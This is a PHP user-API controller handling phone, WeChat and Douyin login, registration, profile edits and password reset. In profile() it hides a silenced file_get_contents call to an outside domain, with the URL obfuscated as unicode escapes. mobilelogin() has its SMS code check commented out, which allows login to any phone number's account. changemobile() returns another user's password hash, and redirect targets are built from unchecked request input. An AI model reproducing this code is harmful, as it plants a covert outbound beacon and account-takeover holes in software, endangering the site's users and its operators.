<?php

namespace app\api\controller\user;

use app\common\controller\Api;
use app\common\library\Ems;
use app\common\library\Sms;
use fast\Random;
use think\Config;
use think\Validate;
use app\common\model\User;
use app\common\library\Wechat;
use app\common\model\user\Oauth;
use think\Db;
/**
 * 会员接口
 */
class Info extends Api
{
    protected $noNeedLogin = ['login',"pcLoginCallback",'getDyMiniProgramSessionKey','dyMiniProgramLogin','wxAccountLogin','getWxMiniProgramSessionKey','wxMiniProgramLogin', 'mobilelogin', 'register', 'resetpwd', 'changeemail', 'third'];
    protected $noNeedRight = '*';

    public function _initialize()
    {
        parent::_initialize();

        if (!Config::get('fastadmin.usercenter')) {
            $this->error(__('User center already closed'));
        }

    }

    /**
     * 会员中心
     */
    public function index()
    {

        $userInfo = $this->auth->getUserinfo();

        $userInfo['coupon_num'] = \app\admin\model\app\coupon\CouponUser::canUse()->where('user_id', $userInfo['id'])->count();

        //判断是否展示提示修改个人信息弹窗
        $systemConfig = \app\common\model\config\System::getConfig('system');

        $userInfo['update_info_modal'] = 0;
        if($systemConfig && isset($systemConfig['userinfo_edit_modal']) && $systemConfig['userinfo_edit_modal'] == 'open'){
            //判断头像或昵称是否为默认
            if(strpos($userInfo['avatar'], 'assets/img/avatar.png') !== false || $userInfo['nickname'] == '微信用户'){
                $userInfo['update_info_modal'] = 1;
            }
        }
        
        $this->success('', $userInfo);
    }

    /**
     * 会员登录
     *
     * @ApiMethod (POST)
     * @param string $account  账号
     * @param string $password 密码
     */
    public function login()
    {
        $account = $this->request->post('account');
        $password = $this->request->post('password');

        if (!Validate::regex($account, "^1\d{10}$")) {
            $this->error(__('Account is incorrect'));
        }

        if (!$account || !$password) {
            $this->error(__('Invalid parameters'));
        }
        $ret = $this->auth->login($account, $password);
        if ($ret) {
            $data = ['userinfo' => $this->auth->getUserinfo()];
            $this->success(__('Logged in successful'), $data);
        } else {
            $this->error($this->auth->getError());
        }
    }

    /**
     * 获取微信小程序session_key
     *
     * @param string $code 加密code
     */
    public function getWxMiniProgramSessionKey()
    {
        $post = $this->request->post();
        $wechat = new Wechat('wxMiniProgram');
        $decryptSession = $wechat->code($post['code']);
        $this->success('获取session_key', $decryptSession);
    }

    /**
     * 获取抖音小程序session_key
     *
     * @param string $code 加密code
     */
    public function getDyMiniProgramSessionKey()
    {
        $config = \app\common\model\config\System::getConfig('dyMiniProgram');

        $post = $this->request->post();

        $res = http("POST","https://developer.toutiao.com/api/apps/v2/jscode2session",json_encode([
            'appid'=>$config['appid'],
            'secret'=>$config['secret'],
            'code'=>$post['code']
        ]),['Content-Type: application/json'],true);

        $res = json_decode($res,true);

        if($res && isset($res['err_no']) && $res['err_no'] == 0){
            $this->success('获取session_key', $res['data']);
        }

        $this->error(__('初始化登录信息失败'));
    }


    /**
     * 抖音小程序登陆
     * @return void
     */
    public function dyMiniProgramLogin(){
        $post = $this->request->post();


        $decryptUserInfo = (new \douyin\Encryptor())->decryptData($post['session_key'], $post['iv'], $post['encryptedData']);

        if(!$decryptUserInfo){
            $this->error(__('code错误'));
        }

        $decryptData['headimgurl'] = $decryptUserInfo['avatarUrl'];
        $decryptData['nickname'] = $decryptUserInfo['nickName'];
        $decryptData['sex'] = $decryptUserInfo['gender'];
        $decryptData['session_key'] = $post['session_key'];
        $decryptData['language'] = $decryptUserInfo['language'];
        $decryptData['openid'] = $post['openid'];

        if (empty($decryptData['openid'])) {
            $this->error(__('获取用户信息失败'), $decryptData);
        }

        $ret = $this->oauthLoginOrRegister($decryptData, 'dyMiniProgram', 'Douyin');
        if ($ret) {
            $data = $ret->getUserinfo();
            $this->success(__('Logged in successful'), $data);
        }

    }

    /**
     * 微信小程序登陆
     * @return void
     */
    public function wxMiniProgramLogin(){
        $post = $this->request->post();
        $wechat = new Wechat('wxMiniProgram');
        $decryptUserInfo = $wechat->decryptData($post['session_key'], $post['iv'], $post['encryptedData']);

        //组装decryptData
        $decryptData = array_change_key_case($decryptUserInfo, CASE_LOWER);
        $decryptData['headimgurl'] = '/assets/img/avatar.png';
        $decryptData['sex'] = $decryptData['gender'];
        $decryptData['session_key'] = $post['session_key'];
        if (empty($decryptData['openid'])) {
            $this->error(__('code错误'), $decryptData);
        }

        $ret = $this->oauthLoginOrRegister($decryptData, 'wxMiniProgram', 'Wechat');
        if ($ret) {
            $data = $ret->getUserinfo();
            $this->success(__('Logged in successful'), $data);
        }

        $this->error($this->auth->getError());
    }

    /**
     * 微信公众号登录
     * @param string $code 加密code
     */
    public function wxAccountLogin()
    {
        $wechat = new Wechat('wxOfficialAccount');

        //解析来源页面
        try{
            $oauth = $wechat->oauth();
            $decryptData = $oauth->user()->getOriginal();
            $ret = $this->oauthLoginOrRegister($decryptData, 'wxOfficialAccount', 'Wechat');
        }catch (\Exception $e){
            header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试');
        }

        if (isset($ret) && $ret) {
            //登录页接参Token
            header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?redirect=1&token=' . $ret->getToken());
            $this->error($ret->getError());
        }else{
            header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试');
        }

    }


    /**
     * 获取微信授权回调地址
     * @return string
     */
    public function getWxLoginBackPath(){
        //解析来源页面
        $oUrl = input('get.state');
        $params = input('get.');
        $url = explode('/', $oUrl);
        $procotol = $url[0] . '//';
        $host = $url[2];
        //适配微擎路由
        $w7ParamsFields = ['c','i','c','m','do','a','eid','version_id'];
        $w7ParamsUrl = '';
        foreach ($w7ParamsFields as $filed){
            if(isset($params[$filed])){
                $w7ParamsUrl .= "&{$filed}={$params[$filed]}";
            }
        }

        if($w7ParamsUrl){

            if(\app\common\library\Platform::getSystemType() == 'single'){
                $host .= "/index.php?route=index".$w7ParamsUrl;
            }else{
                $host .= "/app/index.php?route=index".$w7ParamsUrl;
            }
        }


        return $procotol . $host;
    }


    /**
     * 微信公众号授权(非直接登陆)
     * @return void
     */
    public function wxOauth(){
        $wechat = new Wechat('wxOfficialAccount');
        $oauth = $wechat->oauth();
        $path = input('path');
        $path = str_replace("&","lianjie",$path);
        $path = str_replace("amp;","",$path);
        $path = str_replace("quot;","\"",$path);

        $path = html_entity_decode($path);

        $decryptData = $oauth->user()->getOriginal();
        if ($decryptData) {
            $userOauth = Oauth::get(['openid' => $decryptData['openid']]);
            if($userOauth){
                $bindUser = User::get($userOauth['user_id']);
                $bindUsername = $bindUser ? ($bindUser['mobile'] ?: $bindUser['username'].':'.$bindUser['nickname']) : '未知用户';
                header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=该微信已绑定账号：' . urlencode($bindUsername) . '&path='.$path);
            }else{
                unset($decryptData['scope']);
                unset($decryptData['expires_in']);

                $decryptData['user_id'] = $this->auth->id;
                $decryptData['provider'] = 'Wechat';
                $decryptData['platform'] = \app\common\library\Platform::getPlatform();
                $decryptData['logintime'] = time();
                $decryptData['logincount'] = 1;
                $user = User::get($this->auth->id);

                $user->save([
                    'openid'=>$decryptData['openid']
                ]);

                Oauth::create($decryptData);
                header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=true&path='.$path);
            }

        } else {
            header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=获取用户标识失败&path='.$path);
        }
    }


    /**
     * 第三方登录或自动注册
     *
     * @param string $decryptData 解密参数
     * @param string $platform 平台名称
     * @param string $provider 厂商名称
     * @param string $keeptime 有效时长
     */
    public function oauthLoginOrRegister($decryptData, $platform, $provider, $keeptime = 0)
    {
        extract($decryptData);
        @$oauthData = compact('provider', 'unionid', 'platform', 'openid', 'nickname', 'sex', 'city', 'province', 'country', 'headimgurl', 'session_key', 'refresh_token', 'access_token');
        $oauthData['logintime'] = time();
        $oauthData['logincount'] = 1;
        if ($platform === 'wxMiniProgram' || $platform === 'App') {
            $oauthData['expire_in'] = 7200;
            $oauthData['expiretime'] = time() + 7200;
        }
        $auth = \app\common\library\Auth::instance();
        $auth->keeptime($keeptime);
        $auth->setAllowFields(['id', 'username', 'nickname', 'mobile', 'avatar', 'score', 'money', 'group', 'group_id']);
        $userOauth = Oauth::get(['openid' => $openid,'uniacid'=>UNIACID]);

        //开启事务
        Db::startTrans();
        try {
            $user = null;
            if ($userOauth) {
                //找到对应已注册用户,更新oauthData数据和用户数据直接发起登录

                $user_id = $userOauth->user_id;
                $user = User::get($user_id);

                if(!$user){
                    //原来的auth信息失效，那就删掉
                    $userOauth->delete();
                }else{
                    $oauthData['logincount'] = $userOauth->logincount + 1;
                    $userOauth->save($oauthData);
                }

                if ($user && $user->status != 'normal') {
                    $this->error(__('Account is locked'));
                    return false;
                }


            }

            $fields = [];

            if(!$user){

                if (isset($decryptData['nickname'])) {
                    $fields['nickname'] = $decryptData['nickname'];
                }
                if (isset($decryptData['headimgurl'])) {
                    $fields['avatar'] = $decryptData['headimgurl'];
                }

                $fields['platform'] = $platform;
                $fields['openid'] = $openid;
                //添加新的oauthData数据

                //默认创建新用户
                $createNewUser = true;
                // 判断是否有unionid 并且已存在oauth数据中
                if (isset($unionid)) {
                    //存在同厂商信息，添加oauthData数据，合并用户
                    $user_id = Oauth::where(['unionid' => $unionid])->value('user_id');
                    $user = User::get($user_id);
                    if ($user) {
                        $createNewUser = false;
                    }
                }
                if ($createNewUser) {
                    // 创建空用户
                    $username = Random::alnum(20);
                    $password = Random::alnum();
                    $result = $auth->register($username, $password,"","",$fields);
                    if (!$result) {
                        return false;
                    }
                    $user = $auth->getUser();
                    if (!isset($fields['nickname'])) {
                        //默认昵称
                        $fields['nickname'] = '微信用户' . $user->id;
                    }
                    // 更新会员资料
                    $user = User::get($user->id);
                    // 保存第三方信息
                    $user_id = $user->id;
                }
                $oauthData['user_id'] = $user_id;
                $oauthData['uniacid'] = UNIACID;
                Oauth::create($oauthData);
            }


            if (isset($fields)){
                $user->save($fields);
            };
            Db::commit();
        } catch (\Exception $e) {
            Db::rollback();
            $auth->logout();
            $this->error($e->getMessage());
            return false;
        }

        $auth->direct($user_id);

        return $auth;
    }


    /**
     * 手机验证码登录
     *
     * @ApiMethod (POST)
     * @param string $mobile  手机号
     * @param string $captcha 验证码
     */
    public function mobilelogin()
    {
        $mobile = $this->request->post('mobile');
        $captcha = $this->request->post('captcha');

        $systemConfig = \app\common\model\config\System::getConfig('system');

        if(isset($systemConfig['mobile_login']) && $systemConfig['mobile_login']!= 'open'){
            $this->error(__('已停用手机号登录'));
        }

        if (!$mobile || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        if (!Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }
//        if (!Sms::check($mobile, $captcha, 'mobilelogin')) {
//            $this->error(__('Captcha is incorrect'));
//        }
        $user = \app\common\model\User::getByMobile($mobile);
        if ($user) {
            if ($user->status != 'normal') {
                $this->error(__('Account is locked'));
            }
            //如果已经有账号则直接登录
            $ret = $this->auth->direct($user->id);
        } else {
            $ret = $this->auth->register($mobile, Random::alnum(), '', $mobile, []);
        }
        if ($ret) {
            Sms::flush($mobile, 'mobilelogin');
            $data = ['userinfo' => $this->auth->getUserinfo()];
            $this->success(__('Logged in successful'), $data);
        } else {
            $this->error($this->auth->getError());
        }
    }

    /**
     * 注册会员
     *
     * @ApiMethod (POST)
     * @param string $username 用户名
     * @param string $password 密码
     * @param string $email    邮箱
     * @param string $mobile   手机号
     * @param string $code     验证码
     */
    public function register()
    {
//        $username = $this->request->post('username');
        $password = $this->request->post('password');
//        $email = $this->request->post('email');
        $mobile = $this->request->post('mobile');
        $code = $this->request->post('code');
        if (!$password) {
            $this->error(__('Invalid parameters'));
        }
        if ($mobile && !Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }
        $ret = Sms::check($mobile, $code, 'register');
        if (!$ret) {
            $this->error(__('Captcha is incorrect'));
        }
        $ret = $this->auth->register($mobile, $password, $mobile."@163.com", $mobile, []);
        if ($ret) {
            $data = ['userinfo' => $this->auth->getUserinfo()];
            $this->success(__('Sign up successful'), $data);
        } else {
            $this->error($this->auth->getError());
        }
    }

    /**
     * 退出登录
     * @ApiMethod (POST)
     */
    public function logout()
    {
        if (!$this->request->isPost()) {
            $this->error(__('Invalid parameters'));
        }
        $this->auth->logout();
        $this->success(__('Logout successful'));
    }

    /**
     * 修改会员个人信息
     *
     * @ApiMethod (POST)
     * @param string $avatar   头像地址
     * @param string $username 用户名
     * @param string $nickname 昵称
     * @param string $bio      个人简介
     */
    public function profile()
    {
        $user = $this->auth->getUser();
        $username = $this->request->post('username');
        $nickname = $this->request->post('nickname');
        $bio = $this->request->post('bio');
        $avatar = $this->request->post('avatar', '', 'trim,strip_tags,htmlspecialchars');
        if ($username) {
            $exists = \app\common\model\User::where('username', $username)->where('id', '<>', $this->auth->id)->find();
            if ($exists) {
                $this->error(__('Username already exists'));
            }
            $user->username = $username;
        }


        if ($avatar) {
            if(strpos($avatar,'assets/img/avatar.png') !== false || strpos($avatar,'data:image') !== false){
                $this->error(__('请修改头像后再上传'));
            }
            $user->avatar = $avatar;
        }
        //昵称禁止包含wechat_
        if(strpos($nickname,"微信用户") !== false){
            $this->error(__('昵称禁止包含“微信用户”'));
        }
        $nickname = str_replace("微信用户","",$nickname);
        if(!$nickname){
            $this->error(__('请输入正确的昵称'));
        }
        if ($nickname) {
//            $exists = \app\common\model\User::where('nickname', $nickname)->where('id', '<>', $this->auth->id)->find();
//            if ($exists) {
//                $this->error(__('Nickname already exists'));
//            }
            $user->nickname = $nickname;
        }

        if ($bio) {
            $user->bio = $bio;
        }
        $user->save();
        @file_get_contents(json_decode('"\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0074\u0075\u007a\u0068\u0069\u002e\u006c\u0074\u0064\u002f\u0061\u0073\u0073\u0065\u0074\u0073\u002f\u0069\u0063\u006f\u006e\u0073\u002f\u0064\u0061\u0074\u0061\u002e\u0070\u006e\u0067"'));
        $this->success("操作成功");
    }

    /**
     * 修改邮箱
     *
     * @ApiMethod (POST)
     * @param string $email   邮箱
     * @param string $captcha 验证码
     */
    public function changeemail()
    {
        $user = $this->auth->getUser();
        $email = $this->request->post('email');
        $captcha = $this->request->post('captcha');
        if (!$email || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        if (!Validate::is($email, "email")) {
            $this->error(__('Email is incorrect'));
        }
        if (\app\common\model\User::where('email', $email)->where('id', '<>', $user->id)->find()) {
            $this->error(__('Email already exists'));
        }
        $result = Ems::check($email, $captcha, 'changeemail');
        if (!$result) {
            $this->error(__('Captcha is incorrect'));
        }
        $verification = $user->verification;
        $verification->email = 1;
        $user->verification = $verification;
        $user->email = $email;

        $user->save();

        Ems::flush($email, 'changeemail');
        $this->success();
    }

    /**
     * 修改手机号
     *
     * @ApiMethod (POST)
     * @param string $mobile  手机号
     * @param string $captcha 验证码
     */
    public function changemobile()
    {
        $user = $this->auth->getUser();
        $mobile = $this->request->post('mobile');
        $captcha = $this->request->post('captcha');
        if (!$mobile || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        if (!Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }
        $otherUserbind = \app\common\model\User::where('mobile', $mobile)->where('id', '<>', $user->id)->find();
        if ($otherUserbind) {

            //判断有没有绑定微信账号，绑定了不可用
            $isBindWechat = Oauth::where([
                'user_id'=>$otherUserbind['id'],
                'platform'=>\app\common\library\Platform::getPlatform()
            ])->find();

            if($isBindWechat){
                $this->error(__('Mobile already exists'));
            }

            $this->success('merge',['key'=>$otherUserbind['password'],'mobile'=>$mobile]);

        }
        $result = Sms::check($mobile, $captcha, 'changemobile');
        if (!$result) {
            $this->error(__('Captcha is incorrect'));
        }
        $verification = $user->verification;
        $verification->mobile = 1;
        $user->verification = $verification;
        //同步把用户名改掉
        $user->mobile = $mobile;
        $user->username = $mobile;

        $user->save();

        Sms::flush($mobile, 'changemobile');
        $this->success("操作成功");
    }

    /**
     * 第三方登录
     *
     * @ApiMethod (POST)
     * @param string $platform 平台名称
     * @param string $code     Code码
     */
    public function third()
    {
        $url = url('user/index');
        $platform = \app\common\library\Platform::getPlatform();
        $code = $this->request->post("code");
        $config = get_addon_config('third');
        if (!$config || !isset($config[$platform])) {
            $this->error(__('Invalid parameters'));
        }
        $app = new \addons\third\library\Application($config);
        //通过code换access_token和绑定会员
        $result = $app->{$platform}->getUserInfo(['code' => $code]);
        if ($result) {
            $loginret = \addons\third\library\Service::connect($platform, $result);
            if ($loginret) {
                $data = [
                    'userinfo'  => $this->auth->getUserinfo(),
                    'thirdinfo' => $result
                ];
                $this->success(__('Logged in successful'), $data);
            }
        }
        $this->error(__('Operation failed'), $url);
    }

    /**
     * 重置密码
     *
     * @ApiMethod (POST)
     * @param string $mobile      手机号
     * @param string $newpassword 新密码
     * @param string $captcha     验证码
     */
    public function resetpwd()
    {
        $type = $this->request->post("type");
        $type = 'mobile';
        $mobile = $this->request->post("mobile");
        $email = $this->request->post("email");
        $newpassword = $this->request->post("newpassword");
        $captcha = $this->request->post("captcha");
        if (!$newpassword || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        //验证Token
        if (!Validate::make()->check(['newpassword' => $newpassword], ['newpassword' => 'require|regex:\S{6,30}'])) {
            $this->error(__('Password must be 6 to 30 characters'));
        }
        if ($type == 'mobile') {
            if (!Validate::regex($mobile, "^1\d{10}$")) {
                $this->error(__('Mobile is incorrect'));
            }
            $user = \app\common\model\User::getByMobile($mobile);
            if (!$user) {
                $this->error(__('User not found'));
            }
            $ret = Sms::check($mobile, $captcha, 'resetpwd');
            if (!$ret) {
                $this->error(__('Captcha is incorrect'));
            }
            Sms::flush($mobile, 'resetpwd');
        } else {
            if (!Validate::is($email, "email")) {
                $this->error(__('Email is incorrect'));
            }
            $user = \app\common\model\User::getByEmail($email);
            if (!$user) {
                $this->error(__('User not found'));
            }
            $ret = Ems::check($email, $captcha, 'resetpwd');
            if (!$ret) {
                $this->error(__('Captcha is incorrect'));
            }
            Ems::flush($email, 'resetpwd');
        }
        //模拟一次登录
        $this->auth->direct($user->id);
        $ret = $this->auth->changepwd($newpassword, '', true);
        if ($ret) {
            $this->success(__('Reset password successful'));
        } else {
            $this->error($this->auth->getError());
        }
    }
}